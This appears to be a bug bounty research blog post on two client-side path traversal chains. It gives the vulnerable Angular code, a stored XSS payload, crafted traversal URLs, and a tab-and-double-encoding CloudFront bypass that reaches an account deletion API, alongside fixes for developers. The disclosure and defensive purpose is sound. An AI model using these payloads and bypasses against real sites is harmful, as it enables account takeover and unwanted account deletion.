> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# Client-Side Path Traversal in the Wild: From Stored XSS to Account Deletion
- URL: https://yokai.hakaisecurity.io/client-side-path-traversal-in-the-wild-from-stored-xss-to-account-deletion/
- Published: 2026-10-15T20:09:53.000Z
- Updated: 2026-10-15T22:28:24.000Z
- Author: Pedro Cruz "gankd"
- Tags: Research Blog, en, #pair-cspt

*Two CSPT chains discovered in production bug bounty targets and the thought process behind turning a frontend URL quirk into real impact.*

---

## Table of contents

- [Introduction](#introduction)
- [Background: anatomy of a CSPT](#background-anatomy-of-a-cspt)
- [Finding 1 — CSPT to Stored XSS and account takeover](#finding-1-—-cspt-to-stored-xss-and-account-takeover)
  - [Dissecting the source maps](#dissecting-the-source-maps)
  - [The Interceptor](#the-interceptor-posinterceptor)
  - [The URL Construction](#the-url-construction-incomeserviceprintpublic)
  - [The Rendering Sink](#the-rendering-sink-publicinvoicecomponent)
  - [The chain](#the-chain)
  - [Why server-side encoding doesn't help](#why-server-side-encoding-doesnt-help)
  - [Impact: account takeover](#impact-account-takeover)
- [Finding 2 — CSPT to account deletion](#finding-2-—-cspt-to-account-deletion)
  - [The encoding challenge](#the-encoding-challenge)
  - [The chain](#the-chain-1)
- [Comparative analysis](#comparative-analysis)
- [Takeaways](#takeaways)
  - [For Hunters](#for-hunters)
  - [For Developers](#for-developers)
- [Why scanners and AI miss this](#why-scanners-and-ai-miss-this)
- [Conclusion](#conclusion)
- [References](#references)

---

## Introduction

The web has changed. Over the past decade, the shift from traditional server-rendered pages to JavaScript-heavy Single Page Applications has fundamentally altered how browsers interact with backend APIs. Frameworks like Angular, React, and Vue now handle routing, state management, and API communication entirely in the client. What used to be a simple HTML page served by a backend is now a full application running in the browser, constructing its own API requests, managing its own authentication headers, and rendering its own DOM.

This architectural shift has created a new class of attack surface. When the frontend is responsible for building API URLs from user-supplied input, the browser becomes the place where path traversal happens — not the server. The server never sees the traversal sequences. It only receives a clean, authenticated request to whatever endpoint the browser resolved.

Client-Side Path Traversal (CSPT) exploits exactly this pattern. It's a vulnerability class that has been gaining traction in the bug bounty community, driven by research from [Doyensec](https://www.doyensec.com/resources/Doyensec%5FCSPT2CSRF%5FWhitepaper.pdf?ref=yokai.hakaisecurity.io) and others who have formalized the attack patterns. But real-world examples demonstrating end-to-end chains with high-severity impact are still relatively scarce.

In this article, I document two CSPT chains I discovered in production bug bounty programs. The first chains into Stored XSS and account takeover on a payments platform's Angular SPA. The second leads to unauthorized account deletion on one of the largest e-commerce platforms in Latin America. Both demonstrate how a frontend URL handling flaw — alone unremarkable — becomes a high-severity finding once you understand what sits behind the traversed path.

---

## Background: anatomy of a CSPT

The core pattern has five moving parts:

```
1. Frontend reads user input (URL parameter, route segment, hash fragment)
                            ↓
2. Input is used to construct an API endpoint URL
                            ↓
3. Browser decodes URL-encoded characters (%2f → /, %2e → .)
                            ↓
4. Path traversal sequences (../) navigate to an unintended endpoint
                            ↓
5. Auth tokens/cookies are sent automatically with the request

```

The server never sees the traversal sequences. It receives a clean request to the resolved path, complete with the victim's session. Whatever action that endpoint performs, returning data, modifying state, deleting resources — the server processes it as a legitimate, authenticated request.

The impact depends entirely on what endpoint the traversal reaches and what the frontend does with the response. This is what separates an interesting CSPT from a reportable one: finding the right destination.

As [Vitor Falcão's research on automating CSPT discovery](https://vitorfalcao.com/posts/automating-cspt-discovery/?ref=yokai.hakaisecurity.io) shows, SPAs built on modern frameworks are particularly susceptible because their client-side routers decode URL-encoded characters before passing them to application code. Angular's `DefaultUrlSerializer` decodes `%2f` to `/`. React Router has similar behavior. The framework hands you the dot-dot-slash — you just need to [know where to put it](https://lab.ctbb.show/research/the-dot-dot-slash-that-frameworks-hand-you?ref=yokai.hakaisecurity.io).

---

## Finding 1 — CSPT to Stored XSS and account takeover

This finding started where most of my Angular targets do: with the source maps.

### Dissecting the source maps

The target's POS application ships source maps in the staging environment, which gave full visibility into the application's HTTP interceptor logic, routing, and rendering pipeline. Three components formed the chain.

#### The interceptor: posInterceptor

Found in `pos-lib.mjs` at L33807–33847\. This HTTP interceptor attaches the authentication token to every outgoing request:

```typescript
const getHeaders = (request) => {
    let newHeaders = {};
    request.headers.keys()?.forEach(
        k => newHeaders[k] = request.headers.get(k)
    );
    if (localStorage.getItem('token')) newHeaders = {
        ...newHeaders,
        ...(request.headers.get('token')
            ? { token: request.headers.get('token') }
            : { token: localStorage.getItem('token') })
                                     // ↑ Added to ALL requests
    };
    return newHeaders;
};

const posInterceptor = (request, next) => {
    // Checks subscription/office status
    // but NOT the request URL destination
    const clone = request.clone({
        headers: new HttpHeaders(getHeaders(request))
    });
    return next(clone); // ← No URL filtering
};

```

**No URL filtering.** The victim's token is attached to every single request the application makes, regardless of where it's going. If we can redirect a request to an arbitrary API path, the token rides along.

This is the pattern Doyensec describes in their CSPT2CSRF whitepaper — when an SPA's HTTP interceptor blindly attaches credentials to all requests, CSPT becomes a powerful CSRF primitive. But here it goes further: the response is also rendered unsafely.

#### The URL construction: IncomeService.printPublic()

Found in `pos-lib.mjs` at L25759–25767:

```typescript
printPublic(alphanumId) {
    return this._http.get(
        `${this.end_point_node_v2}/print/public/${alphanumId}`,
        { responseType: 'text' }
    );
}
// end_point_node_v2 = 'https://stg.api.pos.[REDACTED]/gateway-api/v2'

```

The `alphanumId` comes directly from the Angular route parameter. And Angular's `DefaultUrlSerializer` decodes `%2f` in route segments to `/`.

#### The rendering sink: PublicInvoiceComponent

Found in `chunk-ULLAV7MV.js.map`:

```typescript
getInvoice(): void {
    this._incomeService.printPublic(this.alphanumId)
        .subscribe((data: any) => {
            const pattern = /<\/?[a-z][\s\S]*>/i;
            if (pattern.test(data)) {
                this._renderer.setProperty(
                    this.pdfTable.nativeElement,
                    'innerHTML',  // ← bypasses DomSanitizer
                    data
                );
            }
        });
}

```

`Renderer2.setProperty` with `'innerHTML'` **bypasses Angular's DomSanitizer entirely**. Whatever the API returns is injected as raw HTML into the DOM. The regex check for HTML tags was presumably meant to distinguish between HTML responses (print views) and binary data (PDFs), but it creates a gate that any response containing angle brackets will pass through — including JSON with unsanitized data.

### The chain

**Step 1 — Store the XSS payload**

The `/v1/office/{id}` endpoint accepts HTML in the `name` field without sanitization:

```http
PUT /gateway-api/v1/office/801
Content-Type: application/json
token: <attacker_token>

{"name":"<img src=x onerror=alert(document.domain)>"}
// Response: 200 OK — payload stored unencoded

```

**Step 2 — Craft the CSPT URL**

```
https://pos.stg.[REDACTED]/#/income/public-invoice/..%2f..%2f..%2fv1%2foffice%2f801

```

**Step 3 — What happens in the victim's browser**

```
1. Angular router matches income/public-invoice/:alphanumId
                              ↓
2. DefaultUrlSerializer decodes %2f → alphanumId = "../../../v1/office/801"
                              ↓
3. printPublic() constructs: {api}/v2/print/public/../../../v1/office/801
                              ↓
4. Browser normalizes path: {api}/v1/office/801
                              ↓
5. posInterceptor adds victim's Bearer token
                              ↓
6. Server returns: {"name":"<img src=x onerror=alert(...)>", ...}
                              ↓
7. Regex /<\/?[a-z][\s\S]*>/i matches <img> → enters innerHTML branch
                              ↓
8. Renderer2.setProperty(el, 'innerHTML', data) → XSS fires

```

### Why server-side encoding doesn't help

The target's print endpoints (`/v2/print/sale/*`, `/v2/print/public/*`) properly HTML-encode all output. Across 20+ print routes, `<` becomes `&lt;`. If the CSPT wasn't in play, the Stored XSS payload would never execute — the print API would encode it on the way out.

But the CSPT redirects the request to a completely different endpoint. `/v1/office` is a data API. It returns raw JSON. It was never designed to serve HTML-safe content, and it doesn't need to — under normal operation, its responses are consumed by JavaScript, not injected into the DOM.

> **Key insight:** CSPT renders server-side output encoding irrelevant by redirecting the request to an endpoint that was never part of the intended rendering pipeline. The encoding is on the print endpoint. The data comes from the office endpoint. They never meet.

### Impact: account takeover

XSS execution in the POS domain gives access to `localStorage`:

```javascript
localStorage.getItem('token')
// Returns a JWT with 417-day expiration

```

A single crafted link extracts the victim's authentication token, valid for over a year. The CSPT primitive is not limited to a single endpoint — the traversal can reach any API path:

```
# Sales data
/#/income/public-invoice/..%2f..%2f..%2fv2%2fsales

# Contacts (PII)
/#/income/public-invoice/..%2f..%2f..%2fv2%2fcontacts

# Payment information
/#/income/public-invoice/..%2f..%2f..%2fv2%2fpayments

# Subscription details
/#/income/public-invoice/..%2f..%2f..%2fv2%2fsubscriptions%2finfo

```

Each of these returns authenticated data through the same `innerHTML` sink, expanding the attack surface across the entire API.

---

## Finding 2 — CSPT to account deletion

- Discovered with [Felipe Torres](https://www.linkedin.com/in/felipealbtorres/?ref=yokai.hakaisecurity.io)

The `/checkout/finisher` endpoint processes the final step of a purchase flow. It accepts a `checkout_flow` parameter that the frontend JavaScript reads to determine the checkout type (`by_step`, `congrats`, etc.). The value is used to construct an internal API request.

The question was straightforward: what happens if we inject path traversal sequences into `checkout_flow`?

### The encoding challenge

Direct traversal sequences (`../`) were blocked — CloudFront normalized the path before it reached the application. We needed an encoding that would survive the CDN layer but still be decoded by the frontend JavaScript at runtime.

This is where [Felipe Torres](https://www.linkedin.com/in/felipealbtorres/?ref=yokai.hakaisecurity.io) came in with the technique that made the exploit possible. He discovered that inserting **tab characters** (`%09`) between the path traversal components broke CloudFront's pattern matching, while the frontend JavaScript stripped them during its own processing. Combined with **double encoding** for the dots, the full bypass was:

```
%09%252e%09%252e%09%2f

// Breaking it down:
%09     → horizontal tab (breaks CloudFront pattern matching)
%252e   → double-encoded dot (%25→%, making %2e→.)
%2f     → forward slash

// After frontend decoding: ../

```

CloudFront didn't recognize this as a traversal sequence — the interleaved tab characters and the extra encoding layer broke its normalization rules. But the frontend JavaScript, after its own decoding pass, resolved the sequence to a clean `../`.

This is a good example of the encoding game that CSPT often requires. The traversal primitive itself is trivial — `../` is as basic as it gets. The real work is finding an encoding that threads the needle between all the layers of normalization sitting between the user and the JavaScript that constructs the API URL.

### The chain

The target endpoint was the account deletion API — six directory levels up from the checkout flow's API base.

```
/checkout/finisher?session_id=CSPT&checkout_flow=
  %09%252e%09%252e%09%2f   ← ../ (×6)
  %09%252e%09%252e%09%2f
  %09%252e%09%252e%09%2f
  %09%252e%09%252e%09%2f
  %09%252e%09%252e%09%2f
  %09%252e%09%252e%09%2f
  cancelar-cuenta%09%2fapi%09%2fcreate-cancellation-request
  ?reason=Outros%20motivos.
  %26type=unique%26site-id=[REDACTED]
  %26platform-id=[REDACTED]%26product=[REDACTED]
  %26device=desktop%26step=informative-section

```

Note the `%26` encoding for `&` in the query parameters — this keeps all parameters inside the `checkout_flow` value rather than being parsed as separate URL parameters at the top level.

```
1. Victim clicks link (legitimate target domain)
                              ↓
2. Frontend JavaScript parses checkout_flow parameter
                              ↓
3. Double-decode resolves traversal → POST to account deletion API
                              ↓
4. Request includes ALL victim cookies automatically
                              ↓
5. Account deletion request is processed

```

---

## Comparative analysis

|                     | Target B (E-commerce)                 | Target A (Payments POS)          |
| ------------------- | ------------------------------------- | -------------------------------- |
| **Framework**       | Custom JS + CloudFront                | Angular SPA                      |
| **CSPT source**     | URL parameter (checkout\_flow)        | Hash route parameter             |
| **Encoding bypass** | Tab + double encoding (%09%252e)      | Standard URL encoding (%2f)      |
| **CDN/WAF bypass**  | Required (CloudFront)                 | Not needed (client-side routing) |
| **Auth attachment** | Cookies (automatic)                   | Bearer token (HTTP interceptor)  |
| **Impact**          | Destructive action (account deletion) | Data theft (Stored XSS → ATO)    |
| **Severity**        | Medium (6.8)                          | High (7.1)                       |

Both chains share the same fundamental primitive: user-controlled input constructs an API URL, and the browser resolves traversal sequences before the request is sent. The difference is entirely in what sits at the other end of the traversal, and what the frontend does with the response.

The first chain is a *read-then-render primitive*: the traversed endpoint returns data, and the rendering pipeline turns that data into code execution. The second chain is a *write primitive*: the traversed endpoint performs a state-changing action. As Doyensec's CSPT2CSRF research formalizes, this second pattern — where the traversal reaches a state-changing endpoint — is the classical CSPT-to-CSRF chain.

---

## Takeaways

### For hunters

- **Source maps are your best friend for CSPT.** If the target ships them, you can trace the entire request construction pipeline from route parameter to API call to rendering sink. In the first chain, every component of the exploit was identified through source map analysis before a single request was sent.
- **Look for unconditional HTTP interceptors.** An interceptor that attaches tokens to all requests without URL filtering is the enabler that turns CSPT from "interesting redirect" into "authenticated action on arbitrary endpoint." This pattern is extremely common in Angular, React (axios interceptors), and Vue applications.
- **Test multiple encoding strategies.** What survives one WAF won't survive another. Tab characters broke CloudFront's pattern matching. Standard `%2f` was enough for Angular's client-side routing. Build a checklist of encoding variations and test systematically.
- **Don't stop at the obvious impact.** CSPT to a DELETE endpoint is straightforward, but CSPT to an endpoint that returns user-controlled data through an unsafe rendering function chains into XSS. Map the API surface and find what each reachable endpoint returns.

### For developers

- **HTTP interceptors must whitelist destinations.** Only attach authentication tokens to requests matching the API origin and authenticated endpoint patterns. An allowlist of path prefixes is sufficient.
- **Never use `innerHTML` with API responses.** Angular's `Renderer2.setProperty('innerHTML')` bypasses DomSanitizer. Use Angular's built-in sanitization, or better, parse the response as structured data and bind it through templates.
- **Validate route parameters.** If a parameter should be an alphanumeric ID, reject input containing `/`, `.`, or `%`. This is the cheapest fix and blocks the traversal at the source.
- **Don't ship source maps to production.** They reveal your entire application architecture — interceptors, routing, rendering logic, API endpoints, environment variables — and turn black-box testing into white-box.

---

## Why scanners and AI miss this

If you point a blackbox scanner — or an AI-powered security tool doing generic crawl-and-fuzz — at either of these targets, it will not find CSPT. Not because the tools are bad, but because the vulnerability doesn't exist in any individual HTTP request or response. It exists in the JavaScript.

Traditional DAST tools send payloads to server endpoints and analyze responses. They look for reflections, error messages, status code changes. But CSPT has no server-side signature. The `/checkout/finisher` endpoint returns a normal 200 whether you pass `by_step` or `../../cancelar-cuenta/api/...` as the `checkout_flow` value — the path traversal happens entirely in the browser's JavaScript runtime after the page loads. The server never processes the traversal; it only processes the final API request the JavaScript constructs. A scanner that doesn't execute the JavaScript and trace the data flow from URL parameter to `fetch()` call will never see it.

The same applies to AI tools doing blackbox analysis. An LLM analyzing HTTP traffic sees requests and responses, not the JavaScript logic that constructs those requests. You can feed it every Burp Suite log from a full crawl and it won't identify that `alphanumId` flows from an Angular route parameter through `IncomeService.printPublic()` into a string template that builds an API URL — because that logic lives in a minified JavaScript bundle the tool never read.

This is the gap. CSPT is fundamentally a **JavaScript code analysis problem**, not a request/response analysis problem. Finding it requires reading the client-side code — understanding how the application constructs URLs, what interceptors attach to outgoing requests, and how responses are rendered into the DOM. The chain from route parameter to `Renderer2.setProperty('innerHTML')` spans three different source files and four layers of indirection. No amount of blind fuzzing surfaces that.

What does work:

- **Manual JavaScript analysis** — reading source maps, beautified bundles, or even minified code to trace data flows from user input to API construction to DOM rendering. This is how both findings in this article were identified. Source maps, when available, turn this from hours of work into minutes.
- **AI-assisted code review** — LLMs are effective at analyzing JavaScript source code when you give them the right context. Instead of pointing an AI at a target URL and saying "find vulnerabilities," extract the relevant JavaScript (interceptors, services, components) and ask it to trace the data flow. The difference between "scan this app" and "here's the HTTP interceptor, the route config, and the component that renders the response — trace how user input reaches the DOM" is the difference between finding nothing and finding the chain.
- **Pattern-based static analysis** — tools like Semgrep can be configured to flag the CSPT primitives: string concatenation in HTTP client calls using route parameters, interceptors without URL filtering, `innerHTML` assignments with API response data. This won't find the full chain, but it narrows the search space.

The community's tooling for client-side vulnerability classes has not kept pace with the shift to SPAs. We have mature tools for server-side injection, but the equivalent for client-side data flow analysis in production JavaScript is still largely manual. Integrating JavaScript analysis — both manual review and AI-assisted — into the standard hunting workflow is not optional anymore. It's where the bugs are.

---

## Conclusion

CSPT is still an underexplored vulnerability class with real impact in production applications. The two chains documented here show that it enables account takeover on a payments platform and account deletion on one of the largest e-commerce platforms in Latin America.

The vulnerability class thrives in the modern web architecture we've built. The shift to SPAs means more JavaScript handling routing and API construction in the browser, more HTTP interceptors blindly attaching credentials, more client-side rendering sinks that bypass framework sanitization. Every SPA that constructs API URLs from route parameters or query strings is a potential CSPT target.

The primitive itself — injecting path traversal into a URL the frontend constructs — will rarely be critical on its own. The severity comes from what you chain it with. Every CSPT is really a question: *what authenticated endpoint can I reach, and what does the application do with the response?*

---

## References

- [Doyensec — CSPT2CSRF Whitepaper](https://www.doyensec.com/resources/Doyensec%5FCSPT2CSRF%5FWhitepaper.pdf?ref=yokai.hakaisecurity.io) — Formalizes the CSPT-to-CSRF attack pattern, including the role of HTTP interceptors in SPAs.
- [CTBB Lab — The Dot-Dot-Slash That Frameworks Hand You](https://lab.ctbb.show/research/the-dot-dot-slash-that-frameworks-hand-you?ref=yokai.hakaisecurity.io) — Research on how frontend frameworks decode URL-encoded path separators, enabling CSPT.
- [Vitor Falcão — Automating CSPT Discovery](https://vitorfalcao.com/posts/automating-cspt-discovery/?ref=yokai.hakaisecurity.io) — Tooling and methodology for systematically identifying CSPT sinks in JavaScript applications.